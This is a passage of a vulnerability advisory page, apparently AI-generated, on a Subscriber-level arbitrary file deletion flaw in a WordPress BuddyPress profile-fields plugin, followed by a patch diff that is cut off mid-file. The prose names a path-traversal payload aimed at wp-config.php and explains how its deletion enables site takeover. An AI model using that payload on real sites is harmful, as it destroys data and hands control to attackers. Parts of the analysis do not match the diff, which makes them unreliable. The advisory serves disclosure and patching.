Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14997: BuddyPress Xprofile Custom Field Types <= 1.2.8 – Authenticated (Subscriber+) Arbitrary File Deletion (bp-xprofile-custom-field-types)

Severity High (CVSS 7.2)
CWE 22
Vulnerable Version 1.2.8
Patched Version 1.3.0
Disclosed January 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14997:
The BuddyPress Xprofile Custom Field Types plugin for WordPress contains an arbitrary file deletion vulnerability. This flaw exists in the plugin’s file handling functionality and allows authenticated attackers with Subscriber-level access or higher to delete arbitrary files on the server. Successful exploitation can lead to complete site compromise through deletion of critical files like wp-config.php.

The root cause is insufficient file path validation in the `delete_field` function within the `class-field-type-file.php` and `class-field-type-image.php` field type handlers. The vulnerable code processes user-supplied file paths without proper sanitization. In the file field type (`src/field-types/class-field-type-file.php`), the `display_filter` method at lines 141-143 previously returned the file path without validation. Similarly, the image field type (`src/field-types/class-field-type-image.php`) had the same issue at lines 140-142. The plugin accepted relative paths that could traverse outside the intended upload directory.

Exploitation requires an authenticated attacker with at least Subscriber privileges. The attacker submits a crafted request to the BuddyPress profile update endpoint containing a malicious file path in the field deletion parameter. The payload uses directory traversal sequences like `../../wp-config.php` to target files outside the upload directory. The plugin’s `delete_field` function processes this path without validation, passing it directly to PHP’s `unlink()` function, resulting in arbitrary file deletion.

The patch adds validation using WordPress’s `validate_file()` function in both field type classes. In `class-field-type-file.php` at lines 143-145, the patch inserts `if ( 0 !== validate_file( $field_value ) ) { return ”; }`. The same validation appears in `class-field-type-image.php` at lines 140-142. This function checks for directory traversal attempts and returns a non-zero value for dangerous paths. The patch also adds proper escaping for the delete checkbox name parameter in both files, changing `echo $name;` to `echo esc_attr( $name );` at lines 90 and 92 respectively.

Successful exploitation allows attackers to delete any file accessible to the web server process. Deleting wp-config.php forces WordPress to enter installation mode, potentially allowing privilege escalation or site takeover. Attackers can also delete .htaccess files to disable security restrictions, remove plugin files to disrupt functionality, or delete critical system files to cause denial of service. This vulnerability has a direct path to remote code execution through site reconfiguration.

Differential between vulnerable and patched code

Code Diff
--- a/bp-xprofile-custom-field-types/bp-xprofile-custom-field-types.php
+++ b/bp-xprofile-custom-field-types/bp-xprofile-custom-field-types.php
@@ -13,7 +13,7 @@
  * Plugin Name: BuddyPress Xprofile Custom Field Types
  * Plugin URI: https://buddydev.com/plugins/buddypress-xprofile-custom-field-types/
  * Description: Have all the extra field types at your disposal.
- * Version: 1.2.8
+ * Version: 1.3.0
  * Requires PHP: 5.3
  * Author: BuddyDev
  * Author URI: https://buddydev.com
@@ -46,7 +46,7 @@
 	 *
 	 * @var string
 	 */
-	private $version = '1.2.8';
+	private $version = '1.3.0';

 	/**
 	 * Class instance
--- a/bp-xprofile-custom-field-types/src/admin/class-admin.php
+++ b/bp-xprofile-custom-field-types/src/admin/class-admin.php
@@ -45,7 +45,7 @@
 		if ( ! bp_is_active( 'xprofile' ) ) {
 			$notices = (array) get_option( 'bpxcftr_notices', array() );

-			$notices[] = __( 'BuddyPress Xprofile Custom Field Types plugin needs Buddypress Xprofile Component. Please enable Xprofile first.', 'buddypress-xprofile-custom-fields-types' );
+			$notices[] = __( 'BuddyPress Xprofile Custom Field Types plugin needs Buddypress Xprofile Component. Please enable Xprofile first.', 'bp-xprofile-custom-field-types' );
 			update_option( 'bpxcftr_notices', $notices );
 		}
 	}
@@ -61,7 +61,7 @@
 				$notice = wp_kses_data( $notice );
 				$notice = wpautop( $notice );

-				echo "<div class='error'>{$notice}</div>";
+				echo "<div class='error'>{$notice}</div>"; // phpcs:ignore
 			}
 			delete_option( 'bpxcftr_notices' );
 		}
--- a/bp-xprofile-custom-field-types/src/admin/class-field-settings-helper.php
+++ b/bp-xprofile-custom-field-types/src/admin/class-field-settings-helper.php
@@ -241,19 +241,19 @@

 		?>
         <div id="select2-box" class="postbox<?php if ( $hidden ): ?> hidden<?php endif; ?>">
-            <h2><?php esc_html_e( 'Select2', 'buddypress-xprofile-custom-fields-types' ); ?></h2>
+            <h2><?php esc_html_e( 'Select2', 'bp-xprofile-custom-field-types' ); ?></h2>
             <div class="inside">
-                <p class="description"><?php _e( 'Enable select2 javascript code.', 'buddypress-xprofile-custom-fields-types' ); ?></p>
+                <p class="description"><?php _e( 'Enable select2 javascript code.', 'bp-xprofile-custom-field-types' ); ?></p>

                 <p>
                     <label for="do-select2"
-                           class="screen-reader-text"><?php _e( 'Select2 status for this field', 'buddypress-xprofile-custom-fields-types' ); ?></php></label>
+                           class="screen-reader-text"><?php _e( 'Select2 status for this field', 'bp-xprofile-custom-field-types' ); ?></php></label>
                     <select name="do_select2" id="do-select2">
                         <option value="on" <?php if ( $do_select2 === 'on' ): ?> selected="selected"<?php endif; ?>>
-							<?php _e( 'Enabled', 'buddypress-xprofile-custom-fields-types' ); ?>
+							<?php _e( 'Enabled', 'bp-xprofile-custom-field-types' ); ?>
                         </option>
                         <option value=""<?php if ( $do_select2 !== 'on' ): ?> selected="selected"<?php endif; ?>>
-							<?php _e( 'Disabled', 'buddypress-xprofile-custom-fields-types' ); ?>
+							<?php _e( 'Disabled', 'bp-xprofile-custom-field-types' ); ?>
                         </option>
                     </select>
                 </p>
--- a/bp-xprofile-custom-field-types/src/bootstrap/class-autoloader.php
+++ b/bp-xprofile-custom-field-types/src/bootstrap/class-autoloader.php
@@ -20,10 +20,10 @@
  *
  * After registering this autoload function with SPL, the following line
  * would cause the function to attempt to load the BPXProfileCFTRBarBazQux class
- * from /path/to/wp-content/plugins/buddypress-xprofile-custom-fields-types/src/bar/baz/class-qux.php:
+ * from /path/to/wp-content/plugins/bp-xprofile-custom-field-typess/src/bar/baz/class-qux.php:
  *
  *      new BPXProfileCFTRBaz_XyzQux;
- *  maps to /path/to/wp-content/plugins/buddypress-xprofile-custom-fields-types/src/bar/baz-xyz/class-qux.php
+ *  maps to /path/to/wp-content/plugins/bp-xprofile-custom-field-types/src/bar/baz-xyz/class-qux.php
  * The path/directory name should be all lowercase and the the class file is named as 'class-$classname.php'
  */
 class Autoloader {
@@ -58,10 +58,10 @@
 	 *
 	 * After registering this autoload function with SPL, the following line
 	 * would cause the function to attempt to load the BPXProfileCFTRBarBazQux class
-	 * from /path/to/project/buddypress-xprofile-custom-fields-types/src/bar/baz/class-qux.php:
+	 * from /path/to/project/bp-xprofile-custom-field-types/src/bar/baz/class-qux.php:
 	 *
 	 *      new BPXProfileCFTRBazQux;
-	 *  maps to /path/to/buddypress-xprofile-custom-fields-types/src/baz/class-qux.php
+	 *  maps to /path/to/bp-xprofile-custom-field-types/src/baz/class-qux.php
 	 * The path/directory name should be all lowercase and the the class file is named as 'class-$classname.php'
 	 * Since we wills tick to wp standards, we will be using interface-$classname.php for loading iterface(and similar for traits)
 	 * It sacrifices a bit of speed for readability( if we do not prefix with class-, interface-,trait-, it wil be better).
--- a/bp-xprofile-custom-field-types/src/bootstrap/class-bootstrapper.php
+++ b/bp-xprofile-custom-field-types/src/bootstrap/class-bootstrapper.php
@@ -66,7 +66,7 @@
 	 * Loads translations.
 	 */
 	public function load_translations() {
-		load_plugin_textdomain( 'bp-xprofile-custom-field-types', false, basename( dirname( bp_xprofile_cftr()->path ) ) . '/languages' );
+		load_plugin_textdomain( 'bp-xprofile-custom-field-types', false, basename( dirname( bp_xprofile_cftr()->path ) ) . '/languages' ); // phpcs:ignore
 	}

 	/**
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-birthdate.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-birthdate.php
@@ -77,7 +77,7 @@
                                 <div class="bp-date-format-option">
                                     <label for="bpxcftr-birthdate-date-format-<?php echo esc_attr( $format ); ?>">
                                         <input type="radio" name="field-settings[bpxcftr_birthdate_date_format]" id="bpxcftr-birthdate-date-format-<?php echo esc_attr( $format ); ?>" value="<?php echo esc_attr( $format ); ?>" <?php checked( $format, $settings['date_format'] ); ?> />
-                                        <span class="date-format-label"><?php echo date_i18n( $format ); ?></span>
+                                        <span class="date-format-label"><?php echo esc_html( date_i18n( $format ) ); ?></span>
                                         <code><?php echo esc_html( $format ); ?></code>
                                     </label>
                                 </div>
@@ -235,9 +235,11 @@
 		$birthdate    = new DateTime( "@$field_value" );
 		$age_interval = $now->diff( $birthdate );

+        /* translators: %s: Age in no. of years */
 		$age = sprintf( __( '%s years', 'bp-xprofile-custom-field-types' ), $age_interval->y );

 		if ( $age_interval->m && ! self::hide_months( $field_id ) ) {
+            /* translators: %s: Number of Months */
 			$age .= sprintf( _n( ', %s month', ', %s months', $age_interval->m, 'bp-xprofile-custom-field-types' ), $age_interval->m );
 		}

--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-checkbox-acceptance.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-checkbox-acceptance.php
@@ -93,8 +93,8 @@
 		) );
 		?>
         <label for="<?php bp_the_profile_field_input_name(); ?>">
-            <input <?php echo $html; ?>>
-			<?php echo $text; ?>
+            <input <?php echo $html;  // phpcs:ignore?>>
+			<?php echo $text; // phpcs:ignore ?>
         </label>
 		<?php
 	}
@@ -122,7 +122,7 @@
             <h3><?php esc_html_e( 'Use this field to write a text that should be displayed beside the checkbox:', 'bp-xprofile-custom-field-types' ); ?></h3>
             <div class="inside">
                 <p>
-                    <textarea name="bpxcftr_tos_content" id="bpxcftr_tos_content" rows="5" cols="60"><?php echo $text; ?></textarea>
+                    <textarea name="bpxcftr_tos_content" id="bpxcftr_tos_content" rows="5" cols="60"><?php echo esc_textarea( $text ); ?></textarea>
                 </p>
             </div>
         </div>
@@ -140,7 +140,7 @@
 		$checkbox_acceptance = maybe_unserialize( BP_XProfile_ProfileData::get_value_byid( $this->field_obj->id, $args['user_id'] ) );

 		if ( ! empty( $_POST[ 'field_' . $this->field_obj->id ] ) ) {
-			$new_checkbox_acceptance = $_POST[ 'field_' . $this->field_obj->id ];
+			$new_checkbox_acceptance = wp_unslash( $_POST[ 'field_' . $this->field_obj->id ] );
 			$checkbox_acceptance     = ( $checkbox_acceptance != $new_checkbox_acceptance ) ? $new_checkbox_acceptance : $checkbox_acceptance;
 		}

@@ -161,7 +161,7 @@
 		$html = '<input ' . $this->get_edit_field_html_elements( $atts ) . ' />';
 		// we should most probably avoid kses  on output.
 		$html .= wp_kses_post( self::get_content( $field ) );
-		echo apply_filters( 'bp_get_the_profile_field_checkbox_acceptance', $html, $args['type'], $this->field_obj->id, $checkbox_acceptance );
+		echo apply_filters( 'bp_get_the_profile_field_checkbox_acceptance', $html, $args['type'], $this->field_obj->id, $checkbox_acceptance ); // phpcs:ignore
 		?>
     	<?php
 	}
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-color.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-color.php
@@ -63,7 +63,7 @@

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>

-        <input <?php echo $html; ?>>
+        <input <?php echo $html; // phpcs:ignore ?>>

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
             <p class="description" id="<?php bp_the_profile_field_input_name(); ?>-3"><?php bp_the_profile_field_description(); ?></p>
@@ -87,7 +87,7 @@
 		);
 		?>

-        <input <?php echo $html; ?>>
+        <input <?php echo $html; // phpcs:ignore ?>>
 		<?php
 	}

--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-country.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-country.php
@@ -58,7 +58,7 @@

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>

-	   <select <?php echo $atts; ?>>
+	   <select <?php echo $atts; // phpcs:ignore ?>>
 			<option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 			<?php bp_the_profile_field_options( "user_id={$user_id}" ); ?>
 		</select>
@@ -107,7 +107,7 @@
 			}
 		}

-		echo apply_filters( 'bp_get_the_profile_field_country', $html, $args['type'], $country_selected, $this->field_obj->id );
+		echo apply_filters( 'bp_get_the_profile_field_country', $html, $args['type'], $country_selected, $this->field_obj->id ); // phpcs:ignore
 	}

 	/**
@@ -118,7 +118,7 @@
 	public function admin_field_html( array $raw_properties = array() ) {
 		$atts = $this->get_edit_field_html_elements( $raw_properties );
 		?>
-        <select <?php echo $atts; ?>>
+        <select <?php echo $atts; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options(); ?>
         </select>
 		<?php
@@ -151,7 +151,7 @@
                         <select name="bpxcftr_default_country" id="bpxcftr_default_country">
                             <option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 							<?php foreach ( self::get_countries() as $country_code => $country ): ?>
-                                <option value="<?php echo $country_code; ?>" <?php selected( $selected_country, $country_code, true ); ?>><?php echo $country; ?></option>
+                                <option value="<?php echo esc_attr( $country_code ); ?>" <?php selected( $selected_country, $country_code, true ); ?>><?php echo esc_html( $country ); ?></option>
 							<?php endforeach; ?>
                         </select>
                     </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-datepicker.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-datepicker.php
@@ -64,7 +64,7 @@
 		do_action( bp_get_the_profile_field_errors_action() );
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
             <p class="description" id="<?php bp_the_profile_field_input_name(); ?>-3"><?php bp_the_profile_field_description(); ?></p>
@@ -88,7 +88,7 @@
 		);
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />
 		<?php
 	}

--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-decimal-number.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-decimal-number.php
@@ -72,7 +72,7 @@
 		do_action( bp_get_the_profile_field_errors_action() );
 		// Input.
 		?>
-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
             <p class="description" id="<?php bp_the_profile_field_input_name(); ?>-3"><?php bp_the_profile_field_description(); ?></p>
@@ -99,7 +99,7 @@
 			)
 		);
 		?>
-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />
 		<?php
 	}

@@ -131,7 +131,7 @@
                     <label for="bpxcftr_decimal_precision"><?php _e('Precision', 'bp-xprofile-custom-field-types');?></label>
                     <select name="bpxcftr_decimal_precision" id="bpxcftr_decimal_precision">
 						<?php for ( $j = 1; $j <= 6; $j ++ ): ?>
-                            <option value="<?php echo $j; ?>" <?php  selected( $current_precision, $j, true ); ?>><?php echo $j; ?></option>
+                            <option value="<?php echo $j; ?>" <?php  selected( $current_precision, $j, true ); ?>><?php echo $j; // phpcs:ignore ?></option>
 						<?php endfor; ?>
                     </select>
                 </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-email.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-email.php
@@ -65,7 +65,7 @@
 		// Input.
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
             <p class="description" id="<?php bp_the_profile_field_input_name(); ?>-3"><?php bp_the_profile_field_description(); ?></p>
@@ -89,7 +89,7 @@
 		);
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php
 	}
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-file.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-file.php
@@ -77,15 +77,17 @@
 		do_action( bp_get_the_profile_field_errors_action() );
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php if ( $has_file ) : ?>
             <p>
-				<?php echo $value; ?>
+				<?php
+                // value is markup for printing file link, @see self::display_filter()
+                echo $value; //phpcs:ignore ?>
             </p>

             <label>
-                <input type="checkbox" name="<?php echo $name; ?>_delete" value="1"/> <?php _e( 'Check this to delete this file', 'bp-xprofile-custom-field-types' ); ?>
+                <input type="checkbox" name="<?php echo esc_attr( $name ); ?>_delete" value="1"/> <?php _e( 'Check this to delete this file', 'bp-xprofile-custom-field-types' ); ?>
             </label>
 		<?php endif; ?>

@@ -113,7 +115,7 @@
 		);
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php
 	}
@@ -141,6 +143,10 @@
 			return '';
 		}

+		if ( 0 !== validate_file( $field_value ) ) {
+			return '';
+		}
+
 		$field_value = trim( $field_value, '/\' );// no absolute path or dir please.
 		// the BP Xprofile Custom Fields type stored '/path' which was a bad decision
 		// we are using the above line for back compatibility with them.
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-from-to.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-from-to.php
@@ -116,8 +116,8 @@
 		// Input.
 		?>
 		<div class="bpxcftr-from-to-edit-field bpxcftr-from-to-edit-field-<?php echo esc_attr( $type );?>">
-			<input <?php echo $from_atts; ?> /> <span class="bpxcftr-fromto-edit-separator">-</span>
-			<input <?php echo $to_atts; ?> />
+			<input <?php echo esc_attr( $from_atts ); ?> /> <span class="bpxcftr-fromto-edit-separator">-</span>
+			<input <?php echo esc_attr( $to_atts ); ?> />
 		</div>

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
@@ -161,8 +161,8 @@

 		?>
 		<div class="bpxcftr-from-to-edit-field">
-			<input <?php echo $from_atts; ?> /> <span class="bpxcftr-fromto-edit-separator">-</span>
-			<input <?php echo $to_atts; ?> />
+			<input <?php echo esc_attr( $from_atts ); ?> /> <span class="bpxcftr-fromto-edit-separator">-</span>
+			<input <?php echo esc_attr( $to_atts ); ?> />
 		</div>

 		<?php
@@ -192,27 +192,27 @@
 			<h3><?php esc_html_e( 'Options', 'bp-xprofile-custom-field-types' ); ?></h3>
 			<div class="inside">
 				<p>
-					<label for="bpxcftr_fromto_value_type"> <?php _e( 'Value Type', 'bp-xprofile-custom-field-types' );?></label>
+					<label for="bpxcftr_fromto_value_type"> <?php esc_html_e( 'Value Type', 'bp-xprofile-custom-field-types' );?></label>
 					<select name="bpxcftr_fromto_value_type">
-						<option value="" <?php selected( $value_type, '', true);?>><?php _e( 'No restrictions', 'bp-xprofile-custom-field-types');?></option>
-						<option value="integer" <?php selected( $value_type, 'integer', true );?>><?php _e( 'Integers', 'bp-xprofile-custom-field-types');?></option>
-						<option value="numeric" <?php selected( $value_type, 'numeric', true );?>><?php _e( 'Numeric', 'bp-xprofile-custom-field-types');?></option>
-						<option value="string" <?php selected( $value_type, 'string', true );?>><?php _e( 'String', 'bp-xprofile-custom-field-types');?></option>
+						<option value="" <?php selected( $value_type, '', true);?>><?php esc_html_e( 'No restrictions', 'bp-xprofile-custom-field-types');?></option>
+						<option value="integer" <?php selected( $value_type, 'integer', true );?>><?php esc_html_e( 'Integers', 'bp-xprofile-custom-field-types');?></option>
+						<option value="numeric" <?php selected( $value_type, 'numeric', true );?>><?php esc_html_e( 'Numeric', 'bp-xprofile-custom-field-types');?></option>
+						<option value="string" <?php selected( $value_type, 'string', true );?>><?php esc_html_e( 'String', 'bp-xprofile-custom-field-types');?></option>
 					</select>
 				</p>

 				<div class="int-numeric-constraints">
-					<label for="bpxcftr_numeric_type_constraints"><?php _e('Integer/Numeric Type Constraints', 'bp-xprofile-custom-field-types');?></label>
+					<label for="bpxcftr_numeric_type_constraints"><?php esc_html_e('Integer/Numeric Type Constraints', 'bp-xprofile-custom-field-types');?></label>

-					<h4><?php _e( 'Default Values', 'bp-xprofile-custom-field-types');?></h4>
+					<h4><?php esc_html_e( 'Default Values', 'bp-xprofile-custom-field-types');?></h4>
 					<p>
 						<label>
-							<?php _e( 'From', 'bp-xprofile-custom-field-types');?>
+							<?php esc_html_e( 'From', 'bp-xprofile-custom-field-types');?>
 							<input type="text" name="bpxcftr_fromto_from_value" value="<?php echo esc_attr( $from_value );?>" />
 						</label>

 						<label>
-							<?php _e( 'To', 'bp-xprofile-custom-field-types' ); ?>
+							<?php esc_html_e( 'To', 'bp-xprofile-custom-field-types' ); ?>
 							<input type="text" name="bpxcftr_fromto_to_value" value="<?php echo esc_attr( $to_value ); ?>"/>
 						</label>

@@ -220,11 +220,11 @@
                     <h4> Misc Settings</h4>
                     <?php $separator = self::get_separator_token( $current_field->id, '-' ); ?>
                     <p>
-                        <label for="bpxcftr_fromto_separator_token"> <?php _e( 'Value separator', 'bp-xprofile-custom-field-types' );?></label>
+                        <label for="bpxcftr_fromto_separator_token"> <?php esc_html_e( 'Value separator', 'bp-xprofile-custom-field-types' );?></label>
                         <select name="bpxcftr_fromto_separator_token">
-                            <option value="-" <?php selected( $separator, '-', true);?>><?php _e( 'Hyphen(v1 - v2)', 'bp-xprofile-custom-field-types');?></option>
-                            <option value=":" <?php selected( $separator, ':', true );?>><?php _e( 'Colon(v1 : v2)', 'bp-xprofile-custom-field-types');?></option>
-                            <option value="to" <?php selected( $separator, 'to', true );?>><?php _e( 'to( v1 to v2)', 'bp-xprofile-custom-field-types');?></option>
+                            <option value="-" <?php selected( $separator, '-', true);?>><?php esc_html_e( 'Hyphen(v1 - v2)', 'bp-xprofile-custom-field-types');?></option>
+                            <option value=":" <?php selected( $separator, ':', true );?>><?php esc_html_e( 'Colon(v1 : v2)', 'bp-xprofile-custom-field-types');?></option>
+                            <option value="to" <?php selected( $separator, 'to', true );?>><?php esc_html_e( 'to( v1 to v2)', 'bp-xprofile-custom-field-types');?></option>

                         </select>
                     </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-image.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-image.php
@@ -75,15 +75,18 @@
 			<?php bp_the_profile_field_required_label(); ?>
 		</legend>

-		<input <?php echo $html; ?> />
+		<input <?php echo $html; // phpcs:ignore ?> />

 		<?php if ( $has_file ) : ?>
 			<p>
-				<?php echo $value; ?>
+				<?php
+                // value is markup for printing image, @see self::display_filter()
+                echo $value; // phpcs:ignore
+                ?>
 			</p>

 			<label>
-				<input type="checkbox" name="<?php echo $name; ?>_delete" value="1"/> <?php _e( 'Check this to delete this file', 'bp-xprofile-custom-field-types' ); ?>
+				<input type="checkbox" name="<?php echo esc_attr( $name ); ?>_delete" value="1"/> <?php _e( 'Check this to delete this file', 'bp-xprofile-custom-field-types' ); ?>
 			</label>

 		<?php endif; ?>
@@ -110,7 +113,7 @@
 			)
 		);
 		?>
-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />
 		<?php
 	}

@@ -137,6 +140,10 @@
 			return '';
 		}

+		if ( 0 !== validate_file( $field_value ) ) {
+			return '';
+		}
+
 		$field_value = trim( $field_value, '/\' );// no absolute path or dir please.
 		// the BP Xprofile Custom Fields type stored /path which was a bad decision
 		// we are using the above line for back compatibility with them.
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-multi-select-post-type.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-multi-select-post-type.php
@@ -68,7 +68,7 @@

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>

-		<select <?php echo $html; ?>>
+		<select <?php echo $html; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options( "user_id={$user_id}" ); ?>
 		</select>

@@ -93,7 +93,7 @@
 		$html = '';

 		if ( ! empty( $_POST[ 'field_' . $this->field_obj->id ] ) ) {
-			$new_posts_selected = $_POST[ 'field_' . $this->field_obj->id ];
+			$new_posts_selected = wp_unslash( $_POST[ 'field_' . $this->field_obj->id ] );
 			$posts_selected     = ( $posts_selected != $new_posts_selected ) ? $new_posts_selected : $posts_selected;
 		}
 		// Get posts of custom post type selected.
@@ -117,7 +117,7 @@
 			}
 		}

-		echo apply_filters( 'bp_get_the_profile_field_multiselect_custom_post_type', $html, $args['type'], $post_type_selected, $this->field_obj->id );
+		echo apply_filters( 'bp_get_the_profile_field_multiselect_custom_post_type', $html, $args['type'], $post_type_selected, $this->field_obj->id ); // phpcs:ignore
 	}

 	/**
@@ -139,7 +139,7 @@
 		);
 		?>

-		<select <?php echo $html; ?>>
+		<select <?php echo $html; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options(); ?>
 		</select>

@@ -177,7 +177,7 @@
                         <select name="bpxcftr_multi_selected_post_type" id="bpxcftr_multi_selected_post_type">
                             <option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 							<?php foreach ( $post_types as $k => $v ) : ?>
-                                <option value="<?php echo $k; ?>" <?php selected( $selected_post_type, $k, true );?>><?php echo $v; ?></option>
+                                <option value="<?php echo esc_attr( $k ); ?>" <?php selected( $selected_post_type, $k, true );?>><?php echo esc_html( $v ); ?></option>
 							<?php endforeach; ?>
                         </select>
                     </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-multi-select-taxonomy.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-multi-select-taxonomy.php
@@ -69,7 +69,7 @@

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>

-		<select <?php echo $html; ?>>
+		<select <?php echo $html; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options( "user_id={$user_id}" ); ?>
 		</select>

@@ -92,12 +92,15 @@
 		$html = '';

 		if ( ! empty( $_POST[ 'field_' . $this->field_obj->id ] ) ) {
-			$new_terms_selected = $_POST[ 'field_' . $this->field_obj->id ];
+			$new_terms_selected = wp_unslash( $_POST[ 'field_' . $this->field_obj->id ] );
 			$terms_selected     = ( $terms_selected != $new_terms_selected ) ? $new_terms_selected : $terms_selected;
 		}

 		// Get terms of custom taxonomy selected.
-		$terms = get_terms( $taxonomy_selected, array( 'hide_empty' => false ) );
+		$terms = get_terms( array(
+			'taxonomy'   => $taxonomy_selected,
+			'hide_empty' => false
+		) );

 		if ( $terms && ! is_wp_error( $terms ) ) {
 			foreach ( $terms as $term ) {
@@ -110,7 +113,7 @@
 			}
 		}

-		echo apply_filters( 'bp_get_the_profile_field_multiselect_custom_taxonomy', $html, $args['type'], $terms_selected, $this->field_obj->id );
+		echo apply_filters( 'bp_get_the_profile_field_multiselect_custom_taxonomy', $html, $args['type'], $terms_selected, $this->field_obj->id ); // phpcs:ignore
 	}

 	/**
@@ -131,7 +134,7 @@
 		);
 		?>

-		<select <?php echo $html; ?>>
+		<select <?php echo $html; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options(); ?>
 		</select>

@@ -169,7 +172,7 @@
                         <select name="bpxcftr_multi_selected_taxonomy" id="bpxcftr_multi_selected_taxonomy">
                             <option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 							<?php foreach ( $taxonomies as $k => $v ): ?>
-                                <option value="<?php echo $k; ?>"<?php selected( $selected_tax,$k ) ?> ><?php echo $v; ?></option>
+                                <option value="<?php echo esc_attr( $k ); ?>"<?php selected( $selected_tax,$k ) ?> ><?php echo esc_html( $v ); ?></option>
 							<?php endforeach; ?>
                         </select>
                     </p>
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-number-min-max.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-number-min-max.php
@@ -67,7 +67,7 @@
 		do_action( bp_get_the_profile_field_errors_action() );
 		// Input.
 		?>
-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?> />

 		<?php if ( bp_get_the_profile_field_description() ) : ?>
             <p class="description" id="<?php bp_the_profile_field_input_name(); ?>-3"><?php bp_the_profile_field_description(); ?></p>
@@ -93,7 +93,7 @@
 		$html = $this->get_edit_field_html_elements( array_merge( $args, $raw_properties ) );
 		?>

-        <input <?php echo $html; ?> />
+        <input <?php echo $html; // phpcs:ignore ?> />

 		<?php
 	}
--- a/bp-xprofile-custom-field-types/src/field-types/class-field-type-select-post-type.php
+++ b/bp-xprofile-custom-field-types/src/field-types/class-field-type-select-post-type.php
@@ -57,7 +57,7 @@

 		<?php do_action( bp_get_the_profile_field_errors_action() ); ?>

-	   <select <?php echo $html; ?>>
+	   <select <?php echo $html; // phpcs:ignore ?>>
 			<option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 			<?php bp_the_profile_field_options( "user_id={$user_id}" ); ?>
 		</select>
@@ -83,7 +83,7 @@


 		if ( ! empty( $_POST[ 'field_' . $this->field_obj->id ] ) ) {
-			$new_post_selected = (int) $_POST[ 'field_' . $this->field_obj->id ];
+			$new_post_selected = (int) wp_unslash( $_POST[ 'field_' . $this->field_obj->id ] );
 			$post_selected     = ( $post_selected != $new_post_selected ) ? $new_post_selected : $post_selected;
 		}
 		// Get posts of custom post type selected.
@@ -107,7 +107,7 @@
 			}
 		}

-		echo apply_filters( 'bp_get_the_profile_field_select_custom_post_type', $html, $args['type'], $post_type_selected, $this->field_obj->id );
+		echo apply_filters( 'bp_get_the_profile_field_select_custom_post_type', $html, $args['type'], $post_type_selected, $this->field_obj->id ); // phpcs:ignore
 	}

 	/**
@@ -118,7 +118,7 @@
 	public function admin_field_html( array $raw_properties = array() ) {
 		$html = $this->get_edit_field_html_elements( $raw_properties );
 		?>
-        <select <?php echo $html; ?>>
+        <select <?php echo $html; // phpcs:ignore ?>>
 			<?php bp_the_profile_field_options(); ?>
         </select>
 		<?php
@@ -157,7 +157,7 @@
                         <select name="bpxcftr_selected_post_type" id="bpxcftr_selected_post_type">
                             <option value=""><?php _e( 'Select...', 'bp-xprofile-custom-field-types' ); ?></option>
 							<?php foreach ( $post_types as $k => $v ): ?>
-                                <option value="<?php echo $k; ?>" <?php selected( $selected_post_type, $k, true ); ?>><?php echo $v; ?></option>
